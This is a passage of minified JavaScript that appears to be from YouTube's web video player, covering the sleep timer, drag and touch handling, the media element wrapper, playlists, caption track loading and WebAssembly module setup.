g.q.oU=function(){this.J&&this.If.FY(this);g.JW.prototype.oU.call(this);for(var x=g.S(Object.keys(this.options)),T=x.next();!T.done;T=x.next())this.options[T.value].dispose()};g.P(ZNm,g.wk);g.q=ZNm.prototype;g.q.Nj=function(){var x=this.rK("Off");this.U.getPresentingPlayerType()!==2?(jKC(this),this.Mm(this.D),this.C&&(this.D===x?this.C="":this.setSleepTimerTimeLeft(this.C)),this.N&&this.setVideoTimeLeft(this.N),this.enable(!0)):(this.x$([]),this.enable(!1))};
g.q.Uo=function(x){eVm(this,x);this.If.LU()};
g.q.rK=function(x){switch(x){case "Off":return"Off";case "End of video":return"End of video";case "End of playlist":return"End of playlist";default:return(x.toString()+" Minutes").toLowerCase()}};
g.q.onVideoDataChange=function(x){x==="dataloaded"&&jKC(this)};
g.q.ptc=function(x){this.U.logVisibility(this.element,x)};
g.q.onClick=function(){this.U.logClick(this.element)};
g.q.resetSleepTimerMenuSettings=function(){eVm(this,this.rK("Off"))};
g.q.setSleepTimerTimeLeft=function(x){this.C=x;this.Zn(x)};
g.q.setVideoTimeLeft=function(x){this.N=x;this.K.Zn(x)};g.P(Kw,OT);Kw.prototype.resetSleepTimerMenuSettings=function(){this.menuItem&&this.menuItem.resetSleepTimerMenuSettings()};
Kw.prototype.setSleepTimerTimeLeft=function(x){this.menuItem&&this.menuItem.setSleepTimerTimeLeft(x)};
Kw.prototype.setVideoTimeLeft=function(x){this.menuItem&&this.menuItem.setVideoTimeLeft(x)};g.P(lgi,OT);g.P(g.xM,g.$B);g.q=g.xM.prototype;g.q.V=function(x,T){this.K.V(this.J,x,T,void 0,!this.C)};
g.q.cancel=function(){this.j&&(this.j=!1,this.publish("dragend",0,0,null));this.Z&&(this.Z=!1,this.publish("hoverend",0,0,null),T6(this),X8(this))};
g.q.Cu=function(x){T6(this);this.V(oJ("move"),this.mG);this.V(oJ("out"),this.Je);this.V("touchstart",this.m9);this.C&&this.V(oJ("down"),this.tU);var T=x.target;x=new g.jo(x.pageX,x.pageY);this.Z=!0;this.publish("hoverstart",x.x,x.y,T);this.publish("hovermove",x.x,x.y,T)};
g.q.mG=function(x){var T=x.target;x=new g.jo(x.pageX,x.pageY);if(this.T){var t=this.T;this.T=null;if(t.relatedTarget===T&&eo(new g.jo(t.pageX,t.pageY),x))return}this.publish("hovermove",x.x,x.y,T)};
g.q.Je=function(x){var T=new g.jo(x.pageX,x.pageY),t=x.relatedTarget;try{if(t&&g.ux(this.target,t)){this.T=x;this.publish("hovermove",T.x,T.y,t);return}}catch(u){}T6(this);X8(this);this.Z=!1;this.publish("hoverend",T.x,T.y,t)};
g.q.nmW=function(x){this.Cu(x);this.tU(x)};
g.q.tU=function(x){if(typeof x.button!=="number"||x.button===0){T6(this);this.K.V(tk(x.target),oJ("move"),this.fpQ);this.K.V(tk(x.target),oJ("up"),this.C6);var T=x.target;if(g.OA)this.V("dragstart",this.Ib);else if(x.preventDefault(),(g.XB||jw)&&T)a:{for(var t=T;t;){if(HUf(t)||t.getAttribute("tabindex")==="-1"){t.focus();break a}t=t.parentElement}tk(T).activeElement.blur()}this.j=!0;x=new g.jo(x.pageX,x.pageY);this.publish("dragstart",x.x,x.y,T);this.publish("dragmove",x.x,x.y,T)}};
g.q.Ib=function(x){x.preventDefault()};
g.q.fpQ=function(x){var T=x.target;T===tk(x.target)&&(T=null);x=new g.jo(x.pageX,x.pageY);this.publish("hovermove",x.x,x.y,T);this.publish("dragmove",x.x,x.y,T)};
g.q.C6=function(x){T6(this);this.j=!1;var T=Yi(x),t=x.target;x=new g.jo(x.pageX,x.pageY);T&&g.ux(this.target,T)?(this.V(oJ("move"),this.mG),this.V(oJ("out"),this.Je),this.V(oJ("down"),this.tU),this.V("touchstart",this.m9),this.publish("dragend",x.x,x.y,t)):(X8(this),this.Z=!1,this.publish("dragend",x.x,x.y,t),this.publish("hoverend",x.x,x.y,t))};
g.q.m9=function(x){var T=x.changedTouches[0];T&&(T6(this),this.S||(this.V("touchmove",this.cpf),this.V("touchend",this.pV),this.V("touchcancel",this.pV),this.D=T.identifier,x=x.target,this.Z||(this.Z=!0,this.publish("hoverstart",T.pageX,T.pageY,x)),this.publish("hovermove",T.pageX,T.pageY,x),this.C&&(this.j=!0,this.publish("dragstart",T.pageX,T.pageY,x),this.publish("dragmove",T.pageX,T.pageY,x))))};
g.q.cpf=function(x){var T=mmm(this,x);T&&(this.C&&x.preventDefault(),x=x.target,this.publish("hovermove",T.pageX,T.pageY,x),this.C&&this.publish("dragmove",T.pageX,T.pageY,x))};
g.q.pV=function(x){var T=mmm(this,x);if(T){T6(this);X8(this);this.Z=!1;var t=x.target;this.C&&(this.N||x.preventDefault(),this.j=!1,this.publish("dragend",T.pageX,T.pageY,t));this.publish("hoverend",T.pageX,T.pageY,t)}};
g.q.oU=function(){this.C&&(g.OA&&this.target.removeAttribute("draggable"),this.target.style.touchAction="");T6(this);g.$B.prototype.oU.call(this)};
var dmD=!1;g.P(Mkv,g.Q);Mkv.prototype.P_=function(){g.Zt(this.element,"display","none");this.U.logVisibility(this.C,!1)};g.P(u8,OT);u8.prototype.jY=function(x,T){this.T9()||(this.J=[x,T],this.C.subscribe("dragmove",this.D,this),this.C.subscribe("dragend",this.T,this),this.j||g.Kt(this.delay))};
u8.prototype.Om=function(){if(this.K){this.j=!0;this.Hv=this.api.getPlaybackRate();this.hQ=this.api.getPlayerStateObject().isPaused();var x=this.speedmasterUserEdu;g.Zt(x.element,"display","");x.U.logVisibility(x.C,!0);this.api.setPlaybackRate(this.QU);this.api.hideControls();this.api.playVideo();this.N&&(this.N.Se=!0);this.ZZ&&(this.ZZ.Nx=!0)}};
u8.prototype.D=function(x,T){if(!this.j){x=[x,T];var t=this.J;t&&x&&t.length===2&&x.length===2?(T=Math.abs(t[0]-x[0]),t=Math.abs(t[1]-x[1]),T=Math.sqrt(T*T+t*t)):T=-1;T<this.uG?this.J=x:$M(this)}};
u8.prototype.T=function(){$M(this)};g.P(RV3,OT);RV3.prototype.onVideoDataChange=function(x){x==="newdata"&&this.api.xm().createSubtitlesModuleIfNeeded()};g.P(H8,g.vQ);H8.prototype.preventDefault=function(){g.vQ.prototype.preventDefault.call(this);this.C&&this.C.preventDefault()};
H8.prototype.stopPropagation=function(){g.vQ.prototype.stopPropagation.call(this);this.C&&this.C.stopPropagation()};g.P(g.i8,xl);g.q=g.i8.prototype;g.q.kQ=function(){return!0};
g.q.isView=function(){return!1};
g.q.eI=function(){return!1};
g.q.yA=function(){return this.C};
g.q.Ld=function(){return this.C.src};
g.q.lZ=function(x){var T=this.getPlaybackRate();this.C.src=x;this.setPlaybackRate(T)};
g.q.vC=function(){this.C.removeAttribute("src")};
g.q.getPlaybackRate=function(){try{return this.C.playbackRate>=0?this.C.playbackRate:1}catch(x){return 1}};
g.q.setPlaybackRate=function(x){this.getPlaybackRate()!==x&&(this.C.playbackRate=x);return x};
g.q.RX=function(){return this.C.loop};
g.q.setLoop=function(x){this.C.loop=x};
g.q.canPlayType=function(x,T){return this.C.canPlayType(x,T)};
g.q.isPaused=function(){return this.C.paused};
g.q.isSeeking=function(){return this.C.seeking};
g.q.isEnded=function(){return this.C.ended};
g.q.Kv=function(){return this.C.muted};
g.q.g5=function(x){Lj();this.C.muted=x};
g.q.Km=function(){return this.C.played||Hp([],[])};
g.q.kp=function(){try{var x=this.C.buffered}catch(T){}return x||Hp([],[])};
g.q.qB=function(){return this.C.seekable||Hp([],[])};
g.q.F6=function(){var x=this.C;return x.getStartDate?x.getStartDate():null};
g.q.getCurrentTime=function(){return this.C.currentTime};
g.q.setCurrentTime=function(x){this.C.currentTime=x};
g.q.getDuration=function(){return this.C.duration};
g.q.load=function(){var x=this.C.playbackRate;try{this.C.load()}catch(T){}this.C.playbackRate=x};
g.q.pause=function(){this.C.pause()};
g.q.play=function(){var x=this.C.play();if(!x||!x.then)return null;x.then(void 0,function(){});
return x};
g.q.LB=function(){return this.C.readyState};
g.q.dQ=function(){return this.C.networkState};
g.q.Yp=function(){return this.C.error?this.C.error.code:null};
g.q.HU=function(){return this.C.error?this.C.error.message:""};
g.q.getVideoPlaybackQuality=function(){if(window.HTMLVideoElement&&this.C instanceof window.HTMLVideoElement&&this.C.getVideoPlaybackQuality)return this.C.getVideoPlaybackQuality();if(this.C){var x=this.C,T=x.webkitDroppedFrameCount;if(x=x.webkitDecodedFrameCount)return{droppedVideoFrames:T||0,totalVideoFrames:x}}return{}};
g.q.D$=function(){return!!this.C.webkitCurrentPlaybackTargetIsWireless};
g.q.DS=function(){return!!this.C.webkitShowPlaybackTargetPicker()};
g.q.togglePictureInPicture=function(){var x=this.C,T=window.document;window.document.pictureInPictureEnabled?this.C!==T.pictureInPictureElement?x.requestPictureInPicture():T.exitPictureInPicture():GY()&&x.webkitSetPresentationMode(x.webkitPresentationMode==="picture-in-picture"?"inline":"picture-in-picture")};
g.q.zp=function(){var x=this.C;return new g.jo(x.offsetLeft,x.offsetTop)};
g.q.getSize=function(){return g.cf(this.C)};
g.q.setSize=function(x){g.Sw(this.C,x)};
g.q.getVolume=function(){return this.C.volume};
g.q.setVolume=function(x){Lj();this.C.volume=x};
g.q.Rr=function(x){this.T[x]||(this.C.addEventListener(x,this.listener),this.T[x]=this.listener)};
g.q.setAttribute=function(x,T){this.C.setAttribute(x,T)};
g.q.removeAttribute=function(x){this.C.removeAttribute(x)};
g.q.hasAttribute=function(x){return this.C.hasAttribute(x)};
g.q.gL=oV(56);g.q.N9=oV(58);g.q.Gm=oV(60);g.q.Cq=oV(62);g.q.Qf=function(){return MO(this.C)};
g.q.N4=function(x){g.uY(this.C,x)};
g.q.j2=function(x){return g.ew(this.C,x)};
g.q.u2=function(){return g.ux(document.body,this.C)};
g.q.audioTracks=function(){var x=this.C;if("audioTracks"in x)return x.audioTracks};
g.q.oU=function(){for(var x=g.S(Object.keys(this.T)),T=x.next();!T.done;T=x.next())T=T.value,this.C.removeEventListener(T,this.T[T]);xl.prototype.oU.call(this)};
g.q.Pq=function(x){this.C.disableRemotePlayback=x};g.P(IJ,g.Q);g.P(qp,g.Q);qp.prototype.show=function(){g.Q.prototype.show.call(this);this.Nj();this.qj.B("html5_enable_moving_s4n_window")&&g.bS(this.qj.Y())&&this.J()};
qp.prototype.hide=function(){g.Q.prototype.hide.call(this);this.delay.stop();this.K.stop()};
qp.prototype.Nj=function(){var x=(0,g.bo)(),T=Slv(this.qj);EZ(this.C,T.bandwidth_samples);EZ(this.N,T.network_activity_samples);EZ(this.j,T.live_latency_samples);EZ(this.Z,T.buffer_health_samples);var t={};T=g.S(Object.entries(T));for(var u=T.next();!u.done;u=T.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;this.S[u]!==H&&(t[u]=" "+String(H));this.S[u]=H}this.update(t);x=(0,g.bo)()-x>25?5E3:500;this.delay.start(x)};
qp.prototype.J=function(){this.D?(this.position+=1,this.position>15&&(this.D=!1)):(--this.position,this.position<=0&&(this.D=!0));this.element.style.left=this.position+"%";this.element.style.top=this.position+"%";this.K.start(2E4)};g.P(Um3,OT);g.P(Zs,g.W);Zs.prototype.C=function(){var x=(0,g.bo)()-this.startTime;x=x<this.duration?x/this.duration:1;this.Z(P$(jgF,x));x<1&&this.delay.start()};
var jgF=new Rc(0,0,.4,0,.2,1,1,1),hVV=/[0-9.-]+|[^0-9.-]+/g;g.P(jY,g.Q);jY.prototype.onClick=function(){var x=this.api.app;var T=x.B("web_log_theater_mode_visibility")?!x.Mb():!x.DL;x.qj.XW("SIZE_CLICKED",T);this.api.logClick(this.element)};
jY.prototype.Nj=function(){this.ou(this.api.IN()&&!this.api.isFullscreen()&&this.api.getPresentingPlayerType()!==3);if(this.lN){var x=this.api.Mb();this.Mb!==x&&this.NF(x)}this.api.logVisibility(this.element,this.lN)};
jY.prototype.NF=function(x){var T=x?{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"m 26,13 0,10 -16,0 0,-10 z m -14,2 12,0 0,6 -12,0 0,-6 z",fill:"#fff","fill-rule":"evenodd"}}]}:{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"m 28,11 0,14 -20,0 0,-14 z m -18,2 16,0 0,10 -16,0 0,-10 z",fill:"#fff","fill-rule":"evenodd"}}]};this.Mb==null?this.updateValue("icon",T):FZC(this.transition,this.element,
T);this.Mb=x;T=g.Yh(this.api,"Default view","t");var t=g.Yh(this.api,"Theater mode","t");this.updateValue("title",x?T:t);this.update({"data-title-no-tooltip":x?"Default view":"Theater mode"});this.api.Kd()};g.P(v63,OT);g.P(LZi,OT);g.q=LZi.prototype;g.q.onVideoDataChange=function(x){this.YX();this.videoId=x.videoId;this.Z=this.C=void 0;this.timelyActions=Gam(x);n6D(this);this.clearTimeout();this.oi()};
g.q.Ot=function(x){var T=x.oldState,t=x.state,u=t.seekSource;!g.p(T,16)&&g.p(t,16)?this.S5(u!=null?u:void 0):g.p(T,16)&&!g.p(t,16)&&this.v2();x=x.state;x=!x.isCued()&&!g.p(x,1024);this.j.ou(x)};
g.q.oi=function(){var x=this.B_();x&&this.api.oi(x)};
g.q.YX=function(){this.api.Xa("timelyAction",1);if(this.C!==void 0)this.onCueRangeExit(this.C)};
g.q.B_=function(){if(this.timelyActions){for(var x=[],T=g.S(this.timelyActions),t=T.next();!t.done;t=T.next())t=t.value,t=t.startTimeMilliseconds!=null&&t.endTimeMilliseconds!=null&&t.cueRangeId!=null?new g.te(Number(t.startTimeMilliseconds),Number(t.endTimeMilliseconds),{id:t.cueRangeId,namespace:"timelyAction"}):void 0,t&&x.push(t);return x}};
g.q.onCueRangeEnter=function(x){var T=eY(this,x);T&&this.K[x]!==void 0&&(T.maxShowCount===void 0||(T==null?void 0:T.maxShowCount)>this.K[x])&&(this.C=x,g6m(this))};
g.q.onCueRangeExit=function(x){var T=agq(this,x);T&&this.C===x&&this.api.XW("innertubeCommand",T);this.clearTimeout();this.C=void 0};
g.q.onTimeout=function(x){this.C!==void 0&&(x==null?void 0:x.cueRangeId)===this.C&&(x=agq(this,this.C))&&this.api.XW("innertubeCommand",x)};
g.q.S5=function(x){this.Z=x};
g.q.v2=function(){g6m(this);this.Z=void 0};
g.q.setTimeout=function(x){var T=this,t=Number(x==null?void 0:x.maxVisibleDurationMilliseconds);t&&(this.clearTimeout(),this.T=setTimeout(function(){T.onTimeout(x)},t))};
g.q.clearTimeout=function(){this.T&&clearTimeout(this.T);this.T=void 0};
g.q.oU=function(){this.timelyActions=this.Z=this.C=this.videoId=void 0;this.K={};this.YX();this.clearTimeout();OT.prototype.oU.call(this)};g.P(DmV,OT);var SB={},X73=(SB[1]="pot_ss",SB[2]="pot_sf",SB[3]="pot_se",SB[4]="pot_xs",SB[5]="pot_xf",SB[6]="pot_xe",SB),x74=["www.youtube-nocookie.com","www.youtubeeducation.com"];g.P(d_,OT);d_.prototype.oU=function(){this.D&&(g.M2(this.D),this.D=void 0);OT.prototype.oU.call(this)};
d_.prototype.QZ=function(){(this.C?!this.C.isReady():this.Z)&&Ak(this)};
d_.prototype.wV=function(x,T,t){var u=this;if(NGH(x)){var H=t||"",I;if((I=this.C)==null?0:I.isReady())T=RJ(this,H),JDm(x,T);else{var E=new g.mn;T.push(E.promise);this.K.promise.then(function(){var Z=RJ(u,H);JDm(x,Z);E.resolve()})}}};
d_.prototype.Ck=function(x){var T=this;if(this.C||this.Z)x.GR=RJ(this,x.videoId),this.C&&!this.C.isReady()&&(this.j=new XG,this.K.promise.then(function(){T.MJ.T7("pot_if");x.GR=RJ(T,x.videoId)}))};g.P(opm,OT);g.P(P8,g.W);P8.prototype.C=function(){for(var x=g.S(g.FD.apply(0,arguments)),T=x.next();!T.done;T=x.next())(T=T.value)&&this.features.push(T)};
P8.prototype.oU=function(){for(var x=this.features.length-1;x>=0;x--)this.features[x].dispose();this.features.length=0;g.W.prototype.oU.call(this)};SY.prototype.H2=function(){this.Z=(0,g.bo)()};
SY.prototype.reset=function(){this.C=this.Z=NaN};
SY.prototype.D5=function(x,T){if(x.clientPlaybackNonce&&!isNaN(this.C)){if(Math.random()<.01){T=T?"pbp":"pbs";var t={startTime:this.C};x.D&&(t.cttAuthInfo={token:x.D,videoId:x.videoId});BM("seek",t);g.gO({clientPlaybackNonce:x.clientPlaybackNonce},"seek");isNaN(this.Z)||a3("pl_ss",this.Z,"seek");a3(T,(0,g.bo)(),"seek")}this.reset()}};g.q=t6V.prototype;g.q.reset=function(){GE(this.timerName)};
g.q.tick=function(x,T){a3(x,T,this.timerName)};
g.q.T7=function(x){return D1(x,this.timerName)};
g.q.Tq=function(x){zj(x,void 0,this.timerName)};
g.q.infoGel=function(x){g.gO(x,this.timerName)};g.P(H_m,g.$B);g.q=H_m.prototype;g.q.Ga=function(x){return this.loop||!!x||this.index+1<this.length};
g.q.qp=function(x){return this.loop||!!x||this.index-1>=0};
g.q.setShuffle=function(x){this.shuffle=x;x=this.order&&this.order[this.index]!=null?this.order[this.index]:this.index;this.order=[];for(var T=0;T<this.items.length;T++)this.order.push(T);this.index=x;this.Z++;if(this.shuffle){x=this.order[this.index];for(T=1;T<this.order.length;T++){var t=Math.floor(Math.random()*(T+1)),u=this.order[T];this.order[T]=this.order[t];this.order[t]=u}for(T=0;T<this.order.length;T++)this.order[T]===x&&(this.index=T);this.Z++}this.publish("shuffle")};
g.q.ys=function(x){x=x||"hqdefault.jpg";var T=this.S[x];if(T||this.Pv.jY||x==="sddefault.jpg"||x==="hq720.jpg"||x==="maxresdefault.jpg")return T;if(this.j.length)return C1(this.Pv,this.j[0],x)};
g.q.getLength=function(){return this.length};
g.q.findIndex=function(x){if(x&&(x=x.videoId,!this.items[this.index]||this.items[this.index].video_id!==x))for(var T=0;T<this.items.length;T++)if(this.items[T].video_id===x){this.index=T;break}};
g.q.onReady=function(x){this.C=x;this.loaded&&g.lP(this.C,0)};
g.q.getPlaylistId=function(){return this.listId?this.listId.toString():null};
g.q.FA=function(){return this.Pv.getVideoUrl(g.YM(this).videoId,this.getPlaylistId())};
g.q.oU=function(){this.C=null;g.Eh(this.items);g.$B.prototype.oU.call(this)};var UZ=new Map;g.P(g.r_,g.$B);g.q=g.r_.prototype;g.q.create=function(){};
g.q.load=function(){this.loaded=!0};
g.q.unload=function(){this.loaded=!1};
g.q.jF=function(){};
g.q.uy=function(){return!0};
g.q.oU=function(){this.loaded&&this.unload();g.$B.prototype.oU.call(this)};
g.q.K2=function(){return{}};
g.q.getOptions=function(){return[]};g.P(g.kM,g.W);g.q=g.kM.prototype;g.q.nN=oV(65);g.q.e$=function(){};
g.q.FT=function(){};
g.q.xf=function(){return""};
g.q.nE=oV(66);g.q.wV=function(x,T){var t=this;if(this.qj.Y().B("html5_dispatch_tracklist_loaded_event")){this.K&&(this.K.reject(),this.K=null);var u=[];this.qj.publish("trackListLoaded",this.Z,u,T);u.length?(T=new g.mn,T.promise.then(x.wV,function(){}),this.K=T,Promise.all(u).then(T.resolve,T.reject).finally(function(){t.K=null})):x.wV()}else x.wV()};
g.q.Vb=function(){};
g.q.oU=function(){this.K&&(this.K.reject(),this.K=null);this.FT();g.W.prototype.oU.call(this)};g.P(g.FC,g.kM);g.FC.prototype.nN=oV(64);g.FC.prototype.e$=function(x){if(this.audioTrack)for(var T=g.S(this.audioTrack.captionTracks),t=T.next();!t.done;t=T.next())g.z6(this.Z,t.value);this.wV(x,this.videoData.videoId)};
g.FC.prototype.xf=function(x,T){var t=x.sY(),u={fmt:T};if(T==="srv3"||T==="3"||T==="json3")g.N2()?Object.assign(u,{xorb:2,xobt:1,xovt:1}):Object.assign(u,{xorb:2,xobt:3,xovt:3});x.translationLanguage&&(u.tlang=g.mJ(x));this.j&&(u.xosf="1");Object.assign(u,this.qj.Y().C);return uP(t,u)};
g.FC.prototype.FT=function(){this.C&&this.C.abort()};g.eGb=new Map;g.P(g.v8,g.kM);g.v8.prototype.nN=oV(63);
g.v8.prototype.e$=function(x){var T=this,t=this.j,u={type:"list",tlangs:1,v:this.videoId,vssids:1};this.F8&&(u.asrs=1);t=uP(t,u);this.FT();this.C=g.Ur(t,{format:"RAW",onSuccess:function(H){T.C=null;if((H=H.responseXML)&&H.firstChild){for(var I=H.getElementsByTagName("track"),E=0;E<I.length;E++){var Z=I[E],e=Z.getAttribute("lang_code"),l=Z.getAttribute("lang_translated"),m=Z.getAttribute("name"),d=Z.getAttribute("kind"),M=Z.getAttribute("id"),A=Z.getAttribute("lang_default")==="true",R=Z.getAttribute("cantran")===
"true";Z=Z.getAttribute("vss_id");g.z6(T.Z,new g.jO({languageCode:e,languageName:l,name:m,kind:d,id:M,is_servable:!0,is_translateable:R,vss_id:Z,is_default:A}))}H=H.getElementsByTagName("target");I=H.length;for(E=0;E<I;E++)e={languageCode:H[E].getAttribute("lang_code"),languageName:H[E].getAttribute("lang_translated"),languageOriginal:H[E].getAttribute("lang_original"),id:H[E].getAttribute("id"),isDefault:H[E].getAttribute("lang_default")==="true"},T.D[e.languageCode]=e.languageName,T.T.push(e)}T.wV(x,
T.videoId)},
withCredentials:!0})};
g.v8.prototype.xf=function(x,T){var t=this.j;T={v:this.videoId,type:"track",lang:x.languageCode,name:x.getName(),kind:x.kind,fmt:T};var u=this.qj.Y();u.B("captions_url_add_ei")&&(T.ei=this.eventId);x.translationLanguage&&(T.tlang=g.mJ(x));Object.assign(T,u.C);return t=uP(t,T)};
g.v8.prototype.FT=function(){this.C&&this.C.abort()};ANV.prototype.j=function(){for(var x=g.FD.apply(0,arguments),T=this,t=jv("empty"),u=[],H={vg:0};H.vg<this.Z.length&&t.currentState!=="done";H={eU:void 0,vg:H.vg},H.vg++)H.eU=this.Z[H.vg],H.eU.condition.apply(H.eU,g.U(x))&&(t=dI(dI(t,function(I){return function(){if(!I.eU.condition.apply(I.eU,g.U(x)))throw"condition failed";var E=I.eU.a5.apply(I.eU,g.U(x));return T.C===void 0||T.C===null?E:mH(q8(E),function(Z){if(!T.C.apply(T,[Z].concat(g.U(x))))throw"verification failed";return Z})}}(H)),function(I){return function(E){E!==
"empty"&&E!=="condition failed"&&E!=="verification failed"&&E!=="error"&&(I.eU.onFailure&&I.eU.onFailure.apply(I.eU,[E].concat(g.U(x))),T.onFailure&&T.onFailure.apply(T,[E,
I.vg,I.eU].concat(g.U(x))),u.push(E));throw"error";}}(H)));
return dI(t,function(){return jv(u)})};G6.prototype.preload=function(x){x=x?RFv(this.capabilities,x):this.capabilities;return x.OY?mH(cNi(this,x),function(){}):q8()};
G6.prototype.compile=function(x){return dI(this.T.j(x),function(T){throw Error("wasm module compile failure: "+T.map(function(t){return t.message}).join(", "),{cause:T});
})};
G6.prototype.instantiate=function(x,T){return dI(this.D.j(x,T),function(t){throw Error("wasm module instantiation failure: "+t.map(function(u){return u.message}).join(", "),{cause:t});
})};rN3.prototype.emscripten_notify_memory_growth=function(){};var YQJ;g.q=kvv.prototype;g.q.malloc=function(x){return this.C.malloc(x)};
g.q.free=function(x){this.C.free(x)};
g.q.realloc=function(x,T){return this.C.realloc(x,T)};
g.q.aA=function(x){if(x.buffer!==this.exports.memory.buffer){var T=this.malloc(x.byteLength);T=new Uint8Array(this.exports.memory.buffer,T,x.byteLength);T.set(x);return T}};
g.q.Ey=function(x){if(x.buffer===this.exports.memory.buffer){var T=x.slice();this.free(x.byteOffset);return T}};
var ia5="WebAssembly"in window&&("instantiateStreaming"in window.WebAssembly||"instantiate"in window.WebAssembly);V1.EB(kvv,{aA:function(x){return{profile:"copyj2w",Ar:x===void 0?0:Math.ceil(x.byteLength/16)}},
Ey:function(x){return{profile:"copyw2j",Ar:x===void 0?0:Math.ceil(x.byteLength/16)}}});g.P(vpJ,g.W);g.q=vpJ.prototype;g.q.createSubtitlesModuleIfNeeded=function(){npq(this)&&nb(this,"captions");return!!g.Lb(this)};
g.q.n8=function(){return g.pB(this.U.getVideoData())&&!this.U.US().j};
g.q.IB=function(){return this.U.getVideoData().IB()};
g.q.f8=function(){return this.U.getVideoData().f8()};
g.q.G6=function(){var x=this.uD.get("heartbeat");nb(this,"heartbeat",!1,!0,this.G6);!x&&this.uD.has("heartbeat")&&this.U.publish("offlineslatestatechange")};
g.q.yn=function(){nb(this,"annotations_module",!0,void 0,this.yn);var x=this.uD.get("annotations_module");if(x)for(var T in this.j)if(this.j.hasOwnProperty(T)){var t=T;x.subscribe(t,this.j[t])}};
g.q.ZT=function(){if(!this.uD.get("ad"))try{V65(this)?nb(this,"ad",!1,!0,this.ZT):this.U.Do("ad")}catch(x){this.U.Do("ad"),g.vW(x)}};
g.q.Vs=function(){return this.Z};
g.q.HZ=function(){var x={},T=g.Lb(this);T&&Object.assign(x,T.HZ());return x};
g.q.M8=function(x,T){Object.assign(this.Z,x||null);Object.assign(this.Qn,T||null)};
g.q.onVideoDataChange=function(){var x=this.U.getVideoData();this.U.B("enable_wn_infocards")&&g.Vs(x)&&!g.Ds(this)&&this.yn()};
g.q.oU=function(){g.W.prototype.oU.call(this);aJ(this,1,!0);for(var x=g.S(Object.entries(wnq)),T=x.next();!T.done;T=x.next()){var t=g.S(T.value);T=t.next().value;t=t.next().value;this.K.has(t)&&UZ.delete(T)}this.K.clear()};
var c4={},wnq=(c4.ad="ad.js",c4.annotations_module="annotations_module.js",c4.asmjs="asmjs.js",c4.creatorendscreen="annotations_module.js",c4.embed="embed.js",c4.endscreen="endscreen.js",c4.heartbeat="heartbeat.js",c4.kids="kids.js",c4.remote="remote.js",c4.miniplayer="miniplayer.js",c4.offline="offline.js",c4.captions="captions.js",c4.unplugged="unplugged.js",c4.ux="ux.js",c4.webgl="webgl.js",c4.ypc="ypc.js",c4.ypc_clickwrap="ypc_clickwrap.js",c4.yto="yto.js",c4),CdJ="ad annotations_module asmjs creatorendscreen embed endscreen heartbeat kids remote miniplayer offline captions webgl ypc ypc_clickwrap yto unplugged ux".split(" ");g.P(XnV,g.$B);g.q=XnV.prototype;g.q.EX=function(x){x=new g.jo(x.pageX,x.pageY);if(!eo(x,this.K)){var T=2;this.D&&(T|=8);this.K=x;Np(this,T,!0)}};
g.q.gmc=function(){this.D&&Np(this,8,!0);Np(this,2,!1)};
g.q.Cu=function(x){var T=new g.jo(x.pageX,x.pageY);eo(T,this.K)||(this.K=T,(x=x.target)&&this.uJ(x)&&(Np(this,4,!0),this.C.f2(this.j),this.j=this.C.V(this.target,"mouseover",this.Je),this.N=this.C.V(this.target,"mouseout",this.Je)))};
g.q.Je=function(x){x=x.relatedTarget;x&&this.uJ(x)||(this.K=new g.jo(NaN,NaN),x1m(this))};
g.q.aZG=function(){Np(this,1,!0)};
g.q.jk=function(x){x=x.target;x instanceof Element&&!(x.tabIndex>0)||Np(this,1,!0)};
g.q.eT=function(){this.D=!0;this.C.f2(this.T);this.T=this.C.V(document,"mouseup",this.kd)};
g.q.kd=function(){this.D=!1;Np(this,8,!1);this.C.f2(this.T);this.T=this.C.V(this.target,"mousedown",this.eT)};
g.q.aG=function(x){if(x=(x=x.changedTouches)&&x[0])this.uG=x.identifier,this.C.f2(this.J),this.J=this.C.V(this.target,"touchend",this.Zy,void 0,!0),Np(this,1024,!0)};
g.q.Zy=function(x){if(x=x.changedTouches)for(var T=0;T<x.length;T++){var t=x[T];if(t.identifier===this.uG){var u=t;break}}u&&(this.C.f2(this.J),this.J=this.C.V(this.target,"touchstart",this.aG,void 0,!0),Np(this,1024,!1))};
g.q.rf=function(){Np(this,2,!0)};
g.q.resize=function(){g.vU&&x1m(this)};
g.q.toString=function(){return g.$B.prototype.toString.call(this)};g.P(g.Cb,g.Q);g.q=g.Cb.prototype;g.q.pMG=function(){this.Nj()};
g.q.Nj=function(){var x=this.api.getVideoData(),T=this.api.Y(),t=!!this.api.isEmbedsShortsMode();g.Ic(this.element,"ytp-shorts-mode",t);t?T=[{L:"svg",X:{fill:"none",height:"100%",viewBox:"0 0 87 115",width:"100%"},W:[{L:"path",X:{"clip-rule":"evenodd",d:"M83.99 10.81C90.08 21.24 86.62 34.66 76.26 40.79L69.05 45.06L74.17 47.38C81.58 50.74 86.52 57.99 86.96 66.17C87.40 74.34 83.27 82.09 76.26 86.24L32.76 111.97C22.41 118.10 9.08 114.61 3.00 104.18C-3.08 93.75 .37 80.33 10.73 74.20L17.94 69.93L12.82 67.61C5.41 64.25 .47 57.00 .03 48.82C-0.40 40.65 3.72 32.90 10.73 28.75L54.23 3.02C64.58 -3.10 77.91 .38 83.99 10.81Z",
fill:"#f00","fill-rule":"evenodd"}},{L:"path",X:{"clip-rule":"evenodd",d:"M33 74L33 41L61 57.5L33 74Z",fill:"white","fill-rule":"evenodd"}}]}]:g.Tt(x)?T=[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 60 60",width:"100%"},W:[{L:"path",G:"ytp-dni-large-play-button-bg",X:{d:"M30,0A30,30,0,1,0,60,30,30,30,0,0,0,30,0Z",fill:"#1f1f1f"}},{L:"path",X:{d:"M21,41.65V18L43.7,29.85Z",fill:"#fff"}}]}]:x.E0&&x.O9?T=[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 68 48",width:"100%"},W:[{L:"path",G:"ytp-dni-large-play-button-bg",
